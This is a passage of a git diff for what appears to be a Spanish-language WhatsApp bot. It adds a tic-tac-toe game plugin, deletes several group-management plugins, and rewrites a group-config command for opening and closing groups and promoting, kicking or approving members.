+🫂 𝙅𝙪𝙜𝙖𝙙𝙤𝙧𝙚𝙨:
+*┈┈┈┈┈┈┈┈┈*
+${simboloJ1} = @${j1?.split('@')[0]}
+${simboloJ2} = @${j2?.split('@')[0] || 'esperando'}
+*┈┈┈┈┈┈┈┈┈*${renderTablero(sala.tablero)}
+*┈┈┈┈┈┈┈┈┈*
+${textoExtra ? `
+${textoExtra}` : `𝙏𝙪𝙧𝙣𝙤 𝙙𝙚:
+@${sala.turno.split('@')[0]}`}`;
+
+ await conn.sendMessage(sala.chat, { text: msg, mentions: sala.jugadores });
+}
+
+let handler = async (m, { conn, args, command }) => {
+const customNombre = args[0]?.toLowerCase();
+
+if (command === 'tttlist') {
+if (salasTTT.size === 0) return m.reply('⚠️ No hay salas activas actualmente.');
+let text = '🎮 *Salas activas:*';
+let count = 1;
+for (const [nombre] of salasTTT) {
+text += `\n\n${count++}- *${nombre}*\nIngresa con: /ttt ${nombre}`;
+}
+return m.reply(text.trim());
+}
+
+if (command === 'delttt' || command === 'deltt' || command === 'deltictactoe') {
+const salaDel = [...salasTTT.values()].find(s => s.jugadores.includes(m.sender));
+if (!salaDel) return m.reply('⚠️ No estás en ninguna sala activa.');
+salasTTT.delete(salaDel.nombre);
+return conn.reply(salaDel.chat, `❌ La sala fue eliminada por @${m.sender.split('@')[0]}.`, m, { mentions: [m.sender] });
+}
+
+if (customNombre) {
+let sala = salasTTT.get(customNombre);
+if (sala && sala.jugadores.includes(m.sender)) return m.reply('⚠️ Ya estás en esta sala.');
+
+if (!sala) {
+salasTTT.set(customNombre, {
+nombre: customNombre,
+chat: m.chat,
+jugadores: [m.sender],
+tablero: [...numerosEmoji],
+turno: m.sender
+});
+return m.reply(`🏃 Esperando oponente para *${customNombre}*.\nUsa: /ttt ${customNombre}`);
+}
+
+if (sala.jugadores.length >= 2) return m.reply('⚠️ Esta sala ya tiene 2 jugadores.');
+sala.jugadores.push(m.sender);
+salasTTT.set(customNombre, sala);
+return await enviarEstado(conn, sala);
+}
+
+let salaLibre = [...salasTTT.values()].find(s => s.jugadores.length === 1 && !s.nombre.startsWith('sala-'));
+if (!salaLibre) {
+const nuevaNombre = `p${Date.now()}`;
+salasTTT.set(nuevaNombre, {
+nombre: nuevaNombre,
+chat: m.chat,
+jugadores: [m.sender],
+tablero: [...numerosEmoji],
+turno: m.sender
+});
+return m.reply(`🏃 Esperando oponente...
+Usa: /ttt para unirte.`);
+}
+
+if (salaLibre.jugadores.includes(m.sender)) return m.reply('⚠️ Ya estás en una sala.');
+salaLibre.jugadores.push(m.sender);
+salasTTT.set(salaLibre.nombre, salaLibre);
+return await enviarEstado(conn, salaLibre);
+};
+
+handler.before = async (m, { conn }) => {
+const numero = parseInt(m.originalText.trim());
+if (!numero || numero < 1 || numero > 9) return;
+
+for (const [nombre, sala] of salasTTT) {
+if (!sala.jugadores.includes(m.sender)) continue;
+if (sala.turno !== m.sender) return;
+const idx = numero - 1;
+if (sala.tablero[idx] !== symbols[0] && sala.tablero[idx] !== symbols[1]) {
+sala.tablero[idx] = sala.jugadores.indexOf(m.sender) === 0 ? symbols[0] : symbols[1];
+const ganador = verificarGanador(sala.tablero);
+
+if (ganador) {
+let texto = '';
+if (ganador === 'empate') {
+texto = '🤝 ¡Empate! Buen juego.';
+} else {
+const xp = Math.floor(Math.random() * 3000) + 1000;
+const ganadorId = sala.jugadores[sala.tablero[idx] === symbols[0] ? 0 : 1];
+const perdedorId = sala.jugadores.find(j => j !== ganadorId);
+await m.db.query('UPDATE usuarios SET exp = exp + $1 WHERE id = $2', [xp, ganadorId]);
+await m.db.query('UPDATE usuarios SET exp = exp - $1 WHERE id = $2', [xp, perdedorId]);
+texto = `🎉 @${ganadorId.split('@')[0]} *ganarte* y recibe *${xp} XP*!`;
+}
+await enviarEstado(conn, sala, texto);
+salasTTT.delete(nombre);
+return;
+}
+
+sala.turno = sala.jugadores.find(j => j !== m.sender);
+await enviarEstado(conn, sala);
+} else {
+m.reply('❌ Esa casilla ya está ocupada.');
+}}
+};
+handler.help = ['ttt', 'ttt nombre', 'delttt', 'tttlist'];
+handler.tags = ['game'];
+handler.command = ['ttt', 'ttc', 'tictactoe', 'delttt', 'tttlist', 'deltt', 'deltictactoe'];
+handler.register = true;
+
+export default handler;
diff --git a/plugins/grupo-add.js b/plugins/grupo-add.js
deleted file mode 100644
index b4870486d..000000000
--- a/plugins/grupo-add.js
+++ /dev/null
@@ -1,79 +0,0 @@
-let handler = async (m, { conn, args, text, usedPrefix, command }) => {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text
-else who = m.chat
-let name = await conn.getName(m.sender)
-let user = global.db.data.users[who]
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!global.db.data.settings[conn.user.jid].restrict) return conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`, fkontak, m)
-if (!text) throw `${lenguajeGB['smsAvisoMG']()} ${lenguajeGB['smsMalused']()}\n*${usedPrefix + command}* 59355555555`
-if (text.includes('+')) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙐𝙈𝙀𝙍𝙊 𝙏𝙊𝘿𝙊 𝙅𝙐𝙉𝙏𝙊 𝙎𝙄𝙉 𝙀𝙡 *+*`
-let group = m.chat
-let link = 'https://chat.whatsapp.com/' + await conn.groupInviteCode(group)
-
- await conn.reply(text+'@s.whatsapp.net', `Hola! me presento, soy The-LoliBot-MD ✨ y soy un Bot para WhatsApp, una persona del grupo utilizo el comando para añadirte al grupo, pero no pude agregarte, asi que te mando la invitacion para que te agregues, te esperamos!!\n\n${link}`, m, {mentions: [m.sender]})
- m.reply(`*@${who.split`@`[0]}*\n*Enviando invitacion a su privado...*`)
-
-}
-handler.help = ['add', '+'].map(v => v + ' número')
-handler.tags = ['group']
-handler.command = /^(add|agregar|invitar|invite|añadir|\+)$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-handler.fail = null
-export default handler
-//import fetch from 'node-fetch'
-/**
- * @type {import('@adiwajshing/baileys')}
- */
-/*const { getBinaryNodeChild, getBinaryNodeChildren } = (await import('@adiwajshing/baileys')).default
-let handler = async (m, { conn, text, participants, usedPrefix, command }) => {
-const fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net"}
-if (!global.db.data.settings[conn.user.jid].restrict) return conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`, fkontak, m)
-try {
-let _participants = participants.map(user => user.jid)
-let users = (await Promise.all(
-text.split(',')
-.map(v => v.replace(/[^0-9]/g, ''))
-.filter(v => v.length > 4 && v.length < 20 && !_participants.includes(v + '@s.whatsapp.net'))
-.map(async v => [
-v,
-await conn.onWhatsApp(v + '@s.whatsapp.net')
-])
-)).filter(v => v[1]).map(v => v[0] + '@c.us')
-let response = await conn.query({
- tag: 'iq',
- attrs: {
- type: 'set',
- xmlns: 'w:g2',
- to: m.chat,
- },
- content: users.map(jid => ({
- tag: 'add',
- attrs: {},
- content: [{ tag: 'participant', attrs: { jid } }]
-}))})
-const pp = await conn.profilePictureUrl(m.chat).catch(_ => null)
-const jpegThumbnail = pp ? await (await fetch(pp)).buffer() : Buffer.alloc(0)
-const add = getBinaryNodeChild(response, 'add')
-const participant = getBinaryNodeChildren(add, 'participant')
-for (const user of participant.filter(item => item.attrs.error == 403)) {
-const content = getBinaryNodeChild(user, 'add_request')
-const invite_code = content.attrs.code
-const invite_code_exp = content.attrs.expiration
-let teks = `${lenguajeGB['smsAddB1']()}`
-m.reply(teks, null, {
-mentions: conn.parseMention(teks)
-})}
-} catch (e) {
-throw m.reply(`${lenguajeGB['smsAddB2']()}`)}
-}
-handler.help = ['add', '+'].map(v => v + ' número')
-handler.tags = ['group']
-handler.command = /^(add|agregar|añadir|\+)$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-handler.fail = null
-export default handler*/
diff --git a/plugins/grupo-admins.js b/plugins/grupo-admins.js
deleted file mode 100644
index 30dbccc2a..000000000
--- a/plugins/grupo-admins.js
+++ /dev/null
@@ -1,23 +0,0 @@
-let handler = async (m, { conn, participants, groupMetadata, args, usedPrefix, command }) => {
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/admins.jpg'
-const groupAdmins = participants.filter(p => p.admin)
-const listAdmin = groupAdmins.map((v, i) => `» ${i + 1}. @${v.id.split('@')[0]}`).join('\n')
-const owner = groupMetadata.owner || groupAdmins.find(p => p.admin === 'superadmin')?.id || m.chat.split`-`[0] + '@s.whatsapp.net'
-let pesan = args.join` `
-let oi = `${lenguajeGB.smsAddB5()} _${pesan}_`
-
-let textoA =
-`╭━━[ .⋅ 🗣️ ⋅]━━━⬣
-ෆ ${lenguajeGB.smsAddB3()}
-ෆ ${oi}
-╰━━━━━━[ *𓃠.⋅ ${vs} ⋅]━━━━━⬣`
-
-let textoB =
-`*${listAdmin}*
-
-⛔ ${lenguajeGB.smsAddB4()} ⛔`.trim()
-await conn.sendButton(m.chat, textoA, textoB, pp, [[lenguajeGB.smsConMenu(), `.menu`]], m, { mentions: [...groupAdmins.map(v => v.id), owner] })
-}
-handler.command = /^(admins|@admins|dmins)$/i
-handler.group = true
-export default handler
diff --git a/plugins/grupo-advertencia.js b/plugins/grupo-advertencia.js
deleted file mode 100644
index 34af894c6..000000000
--- a/plugins/grupo-advertencia.js
+++ /dev/null
@@ -1,49 +0,0 @@
-let handler = async (m, { conn, text, command, usedPrefix }) => {//prems
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let lenGB = lenguajeGB.lenguaje() == 'en' ? usedPrefix + 'on antitoxic' : usedPrefix + 'on antitoxicos';
-//if (!db.data.chats[m.chat].antitoxic && m.isGroup) return conn.reply(m.chat, lenguajeGB.smsAdveu1() + lenGB, fkontak, m)
-//conn.sendButton(m.chat, wm, lenguajeGB.smsAdveu1() + lenGB, null, [[lenguajeGB.smsEncender(), lenGB]], fkontak, m)
-
-let who
-let img = 'https://i.imgur.com/DvHoMc3.jpg'
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text
-else who = m.chat
-let name = await conn.getName(m.sender)
-
-let user = global.db.data.users[who]
-if (!who) return conn.reply(m.chat, lenguajeGB.smsMalused3() + `*${usedPrefix + command} @${name} ${lenguajeGB['smsAdveu2']()}*`, fkontak, m)
-let txt = text.replace('@' + who.split`@`[0], '').trim()
-if (!txt) return conn.reply(m.chat, lenguajeGB.smsAdveu3() + `*${usedPrefix + command} @${name} ${lenguajeGB['smsAdveu2']()}*`, fkontak, m)
-try {
-user.warn += 1
-await m.reply(
- `${
- user.warn == 1 ? `*@${who.split`@`[0]}*` : `*@${who.split`@`[0]}*`
- } ${lenguajeGB['smsAdveu4']()}\n\n🫵 *${text}*\n\n*${lenguajeGB['smsAdveu5']()}*\n⚠️ *${user.warn}/4*\n${wm}`,
- null,
- { mentions: [who] });
-/*await conn.sendButton(m.chat,`${user.warn == 1 ? `*@${who.split`@`[0]}*` : `*@${who.split`@`[0]}*`} ${lenguajeGB['smsAdveu4']()}\n\n🫵 *${text}*`, `*${lenguajeGB['smsAdveu5']()}*\n⚠️ *${user.warn}/4*\n\n${wm}`, img, [
-[lenguajeGB.smsToxic4(), '.ok'],
-[lenguajeGB.smsAdveu6(), lenguajeGB.lenguaje() == 'en' ? usedPrefix + 'inventory' : usedPrefix + 'inventario']], false, { mentions: [who] }) //[m.sender]*/
-
-if (user.warn >= 4) {
-user.warn = 0
-await m.reply(`${lenguajeGB['smsAdveu7']()}\n*@${who.split`@`[0]}* ${lenguajeGB['smsAdveu8']()}`, false, { mentions: [who] })
-user.banned = true
-await conn.groupParticipantsUpdate(m.chat, [who], 'remove') //@${m.sender.split`@`[0]}
-//await this.updateBlockStatus(m.sender, 'block')
-}
-return !1
-} catch (e) {
-await m.reply(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, m)
-//await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.help = ['addprem <@user>']
-handler.tags = ['owner']
-handler.command = /^(advertir|advertencia|Advertencias|warn|warning)$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-export default handler
diff --git a/plugins/grupo-advertencia_eliminar.js b/plugins/grupo-advertencia_eliminar.js
deleted file mode 100644
index fd1eab712..000000000
--- a/plugins/grupo-advertencia_eliminar.js
+++ /dev/null
@@ -1,33 +0,0 @@
-let handler = async (m, { conn, text, command, usedPrefix }) => {//prems
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let lenGB = lenguajeGB.lenguaje() == 'en' ? usedPrefix + 'on antitoxic' : usedPrefix + 'on antitoxicos';
-if (!db.data.chats[m.chat].antitoxic && m.isGroup) return conn.sendButton(m.chat, wm, lenguajeGB.smsAdveu1() + lenGB, null, [[lenguajeGB.smsEncender(), lenGB]], fkontak, m)
-
-let who
-let img = 'https://i.imgur.com/vWnsjh8.jpg'
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text
-else who = m.chat
-let name = await conn.getName(m.sender)
-let user = global.db.data.users[who]
-if (!who) return conn.reply(m.chat, lenguajeGB.smsMalused3() + `*${usedPrefix + command} @${name}*`, fkontak, m)
-try{
-user.warn -= 1
-
- await m.reply(`${user.warn == 1 ? `*@${who.split`@`[0]}*` : `♻️ *@${who.split`@`[0]}*`} ${lenguajeGB['smsAdveu10']()}\n\n*${lenguajeGB['smsAdveu5']()}*\n⚠️ *${lenguajeGB['smsAdveu11']()} ${user.warn + 1}/4*\n⚠️ *${lenguajeGB['smsAdveu12']()} ${user.warn}/4*`, null, { mentions: [who]})
-/*await conn.sendButton(m.chat,`${user.warn == 1 ? `*@${who.split`@`[0]}*` : `♻️ *@${who.split`@`[0]}*`} ${lenguajeGB['smsAdveu10']()}`, `*${lenguajeGB['smsAdveu5']()}*\n⚠️ *${lenguajeGB['smsAdveu11']()} ${user.warn + 1}/4*\n⚠️ *${lenguajeGB['smsAdveu12']()} ${user.warn}/4*\n\n${wm}`, img, [
-[lenguajeGB.smsAdveu9(), '.ok'],
-[lenguajeGB.smsAdveu6(), lenguajeGB.lenguaje() == 'en' ? usedPrefix + 'inventory' : usedPrefix + 'inventario']], false, { mentions: [who] }) //[m.sender]*/
-
-} catch (e) {
-await m.reply(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, m)
-//await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.help = ['addprem <@user>']
-handler.tags = ['owner']
-handler.command = /^(del|delete|eliminar|\-)advertir|quitar|warn(ing)?$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-export default handler
diff --git a/plugins/grupo-config.js b/plugins/grupo-config.js
index 5b2c5facb..07dd4cc0d 100644
--- a/plugins/grupo-config.js
+++ b/plugins/grupo-config.js
@@ -1,35 +1,100 @@
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
-let isClose = { // Switch Case Like :v
-'open': 'not_announcement',
-'close': 'announcement',
-'abierto': 'not_announcement',
-'cerrado': 'announcement',
-'abrir': 'not_announcement',
-'cerrar': 'announcement',
-}[(args[0] || '')]
-if (isClose === undefined)
-throw `
-${mg}*╭━[ ${wm} ]━⬣*
-*┃➥ ${usedPrefix + command} abrir*
-*┃➥ ${usedPrefix + command} cerrar*
-*╰━━━━━[ 𓃠 ${vs} ]━━━━━⬣*
-`.trim()
-await conn.groupSettingUpdate(m.chat, isClose)
-
-if (isClose === 'not_announcement'){
-conn.sendButton(m.chat, `${eg}𝙔𝙖 𝙥𝙪𝙚𝙙𝙚 𝙚𝙨𝙘𝙧𝙞𝙗𝙞 𝙩𝙤𝙙𝙤 𝙚𝙣 𝙚𝙨𝙩𝙚 𝙜𝙧𝙪𝙥𝙤!!`, `𝙂𝙧𝙪𝙥𝙤 𝙖𝙗𝙞𝙚𝙧𝙩𝙤\n${wm}`, pp, [['𝘾𝙪𝙚𝙣𝙩𝙖𝙨 𝙊𝙛𝙞𝙘𝙞𝙖𝙡𝙚𝙨 ✅', `.cuentasgb`], ['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]], m)
+let handler = async (m, { conn, args, usedPrefix, command, isOwner, text}) => {
+let groupId = m.isGroup ? m.chat : null;
+if (!m.isGroup && !isOwner) return m.reply('⚠️ Solo el owner puede usar este comando en privado.');
+let identifier, action, target;
+
+if (!m.isGroup && !m.isAdmin && isOwner) {
+if (args.length < 2) return m.reply('⚠️ Formato incorrecto. Usa: !grupo [id/enlace] [ID/URL] - [acción] [+número si aplica]')
+
+if (args[0].startsWith('id')) {
+identifier = args[1];
+action = args[2]?.replace('-', '').trim().toLowerCase();
+target = args[3]?.replace('+', '') + '@s.whatsapp.net';
+groupId = identifier;
+} else if (args[0].match(/chat\.whatsapp\.com/)) {
+identifier = args[0];
+if (args[1] === '-') {
+action = args[2]?.trim().toLowerCase();
+target = args[3]?.replace('+', '') + '@s.whatsapp.net';
+} else {
+action = args[1]?.replace('-', '').trim().toLowerCase();
+target = args[2]?.replace('+', '') + '@s.whatsapp.net';
}
-
-if (isClose === 'announcement'){
-//m.reply(`${eg}*𝙂𝙍𝙐𝙋𝙊 𝘾𝙀𝙍𝙍𝘼𝘿𝙊*\n𝙎𝙊𝙇𝙊 𝙇𝙊𝙎 𝘼𝘿𝙈𝙄𝙉𝙎 𝙋𝙐𝙀𝘿𝙀𝙉 𝙀𝙎𝘾𝙍𝙄𝘽𝙄𝙍 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊`)
-conn.sendButton(m.chat, `${eg}𝙎𝙤𝙡𝙤 𝙡𝙤𝙨 𝙖𝙙𝙢𝙞𝙣 𝙥𝙪𝙚𝙙𝙚 𝙚𝙨𝙘𝙧𝙞𝙗𝙞 𝙚𝙣 𝙚𝙨𝙩𝙚 𝙜𝙧𝙪𝙥𝙤!!`, `𝙂𝙧𝙪𝙥𝙤 𝙘𝙚𝙧𝙧𝙖𝙙𝙤\n${wm}`, pp, [['𝙈𝙤𝙢𝙚𝙣𝙩𝙤 𝙖𝙙𝙢𝙞𝙣😎', '.s'], ['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]], m)
-}
- }
-handler.help = ['group open / close', 'grupo abrir / cerrar']
-handler.tags = ['group']
-handler.command = /^(group|grupo)$/i
-handler.admin = true
-handler.botAdmin = true
-handler.exp = 200
-export default handler
+const inviteCode = identifier.match(/(?:https:\/\/)?(?:www\.)?(?:chat\.|wa\.)?whatsapp\.com\/(?:invite\/|joinchat\/)?([0-9A-Za-z]{22,24})/i)?.[1];
+if (!inviteCode) return m.reply( '⚠️ Enlace inválido. Usa un enlace de WhatsApp válido.')
+try {
+const inviteInfo = await conn.groupGetInviteInfo(inviteCode);
+groupId = inviteInfo.id;
+} catch (e) {
+return m.reply( '⚠️ No se pudo obtener información del grupo. Verifica el enlace o que el bot tenga acceso.')
+}} else if (args[0] === 'enlace') {
+identifier = args[1];
+if (args[2] === '-') {
+action = args[3]?.trim().toLowerCase();
+target = args[4]?.replace('+', '') + '@s.whatsapp.net';
+} else {
+action = args[2]?.replace('-', '').trim().toLowerCase();
+target = args[3]?.replace('+', '') + '@s.whatsapp.net';
+}
+if (!identifier.match(/chat\.whatsapp\.com/)) {
+return m.reply('⚠️ Debes proporcionar un enlace válido.')
+}
+const inviteCode = identifier.match(/(?:https:\/\/)?(?:www\.)?(?:chat\.|wa\.)?whatsapp\.com\/(?:invite\/|joinchat\/)?([0-9A-Za-z]{22,24})/i)?.[1];
+if (!inviteCode) return m.reply('⚠️ Enlace inválido. Usa un enlace de WhatsApp válido.')
+try {
+const inviteInfo = await conn.groupGetInviteInfo(inviteCode);
+groupId = inviteInfo.id;
+} catch (e) {
+return m.reply( '⚠️ No se pudo obtener información del grupo. Verifica el enlace o que el bot tenga acceso.')
+}} else {
+return m.reply( '⚠️ Usa "id" o "enlace" como primer argumento, o pasa directamente un enlace válido.')
+}} else if (m.isGroup) {
+action = args[0]?.toLowerCase();
+target = args[1]?.replace(/@/, '') + '@s.whatsapp.net';
+}
+
+if (!groupId) return m.reply('⚠️ Debes estar en un grupo o especificar un ID/enlace en privado.');
+if (!action) return m.reply( '⚠️ Debes especificar una acción (abrir, cerrar, daradmin, etc.).')
+
+switch (action) {
+case 'abrir': case 'open': case 'abierto':
+await conn.groupSettingUpdate(groupId, 'not_announcement');
+m.reply(`🟢 ¡GRUPO ABIERTO! Todos pueden escribir ahora.`);
+break;
+
+case 'cerrar': case 'close': case 'cerrado':
+await conn.groupSettingUpdate(groupId, 'announcement');
+m.reply(`⚠️ ¡GRUPO CERRADO! Solo admins pueden escribir.`);
+break;
+
+case 'addadmin': case 'promote': case 'daradmin':
+if (!target) return m.reply('⚠️ Especifica un número (ejemplo: - daradmin +51987654321) o menciona en grupo.')
+await conn.groupParticipantsUpdate(groupId, [target], 'promote');
+m.reply(`✅ @${target.split('@')[0]} ahora es admin.`);
+break;
+
+case 'removeadmin': case 'demote': case 'quitaradmin':
+if (!target) return m.reply('⚠️ Especifica un número (ejemplo: - quitaradmin +51987654321) o menciona en grupo.')
+await conn.groupParticipantsUpdate(groupId, [target], 'demote');
+m.reply(`✅ @${target.split('@')[0]} ya no es admin.`);
+break;
+
+case 'kick': case 'eliminar':
+if (!target) return m.reply('⚠️ Especifica un número (ejemplo: - eliminar +51987654321) o menciona en grupo.')
+await conn.groupParticipantsUpdate(groupId, [target], 'remove');
+m.reply(`🗑️ @${target.split('@')[0]} ha sido eliminado del grupo.`);
+break;
+
+case 'aprobar':
+if (!target) return m.reply('⚠️ Especifica un número (ejemplo: - aprobar +51987654321).')
+await conn.groupRequestParticipantsUpdate(groupId, [target], 'approve');
+m.reply(`✅ @${target.split('@')[0]} ha sido aprobado en el grupo.`);
+break;
+default:
+return m.reply(`*⚠️ COMANDO INVÁLIDO*\n\n*En grupo:*\n${usedPrefix + command} abrir\n${usedPrefix + command} cerrar\n${usedPrefix + command} daradmin @usuario\n${usedPrefix + command} quitaradmin @usuario\n${usedPrefix + command} eliminar @usuario\n\n*En privado (owner):*\n${usedPrefix + command} id [ID] - abrir\n${usedPrefix + command} enlace [URL] - cerrar\n${usedPrefix + command} [URL] - cerrar\n${usedPrefix + command} id [ID] - daradmin +número`)
+}
+};
+handler.help = ['group open/close', 'grupo abrir/cerrar', 'grupo aprobar +number'];
+handler.tags = ['group'];
+handler.command = /^(group|grupo)$/i;
+export default handler;
\ No newline at end of file
diff --git a/plugins/grupo-config_time.js b/plugins/grupo-config_time.js
deleted file mode 100644
index ca0b0a1f5..000000000
--- a/plugins/grupo-config_time.js
+++ /dev/null
@@ -1,155 +0,0 @@
-/* Creditos a https://github.com/ALBERTO9883/NyanCatBot-MD */
-
-let handler = async (m, { conn, isAdmin, isOwner, args, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-try{
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}
-let isClose = {
-'open': 'not_announcement',
-'abrir': 'not_announcement',
-'abierto': 'not_announcement',
-'buka': 'not_announcement',
-'on': 'not_announcement',
-'1': 'not_announcement',
-
-'close': 'announcement',
-'cerrar': 'announcement',
-'cerrado': 'announcement',
-'tutup': 'announcement',
-'off': 'announcement',
-'0': 'announcement',
-}[(args[0] || '')]
-if (isClose === undefined) {
-
-let nombre = [
-lenguajeGB.smsGrupoTime9() + '1' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '1' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '2' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '2' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '3' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '3' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '4' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '4' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '5' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '5' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '6' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '6' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '7' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '7' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '10' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '10' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '12' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '12' + lenguajeGB.smsGrupoTime11(),
-
-lenguajeGB.smsGrupoTime9() + '24' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime10() + '24' + lenguajeGB.smsGrupoTime11()]
-
-let descripción = [
-lenguajeGB.smsGrupoTime12() + '1' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '1' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '2' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '2' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '3' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '3' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '4' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '4' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '5' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '5' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '6' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '6' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '7' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '7' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '10' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '10' + lenguajeGB.smsGrupoTime11() + '\n',
-
-lenguajeGB.smsGrupoTime12() + '12' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '12' + lenguajeGB.smsGrupoTime11() + '\n',
-
